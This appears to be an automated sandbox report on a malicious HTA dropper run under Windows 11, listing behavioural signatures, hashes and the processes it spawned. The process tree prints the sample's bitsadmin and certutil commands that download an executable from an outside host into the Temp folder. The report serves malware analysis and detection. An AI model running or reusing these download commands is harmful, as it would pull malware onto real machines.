Overview

overview

8

Static

static

1

html.hta

windows10-2004-x64

8

html.hta

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/06/2026, 18:12

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General

  • Target
    html.hta
  • Size 8KB
  • Sample260628-wtak2saz9y
  • SHA256 a14ab6234fbbdcaa339b7a95f7c52278fb340c852f6d836b3098e8bfbf21fae9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoverydropper

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\html.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Badlisted process makes network request
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3712
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer wd /download /priority high "https://dicerigger.com/WD.exe" "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      2⤵
      • Download via BitsAdmin
      • System Location Discovery: System Language Discovery
      PID:6088
    • C:\Windows\SysWOW64\certutil.exe
      "C:\Windows\System32\certutil.exe" -urlcache -split -f "https://dicerigger.com/WD.exe" "C:\Users\Admin\AppData\Local\Temp\wd.exe"
      2⤵
      • Manipulates Digital Signatures
      • System Location Discovery: System Language Discovery
      PID:2712

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        wd.exe
        • Path C:\Users\Admin\AppData\Local\Temp\wd.exe
        • Size 145B
        • SHA256 354ecc00b44542422a1d229a176bfde4fa37a498ef15945739e5bf8927919f5b
        • MD5 SHA1 SHA512 TLSH
        Submit Download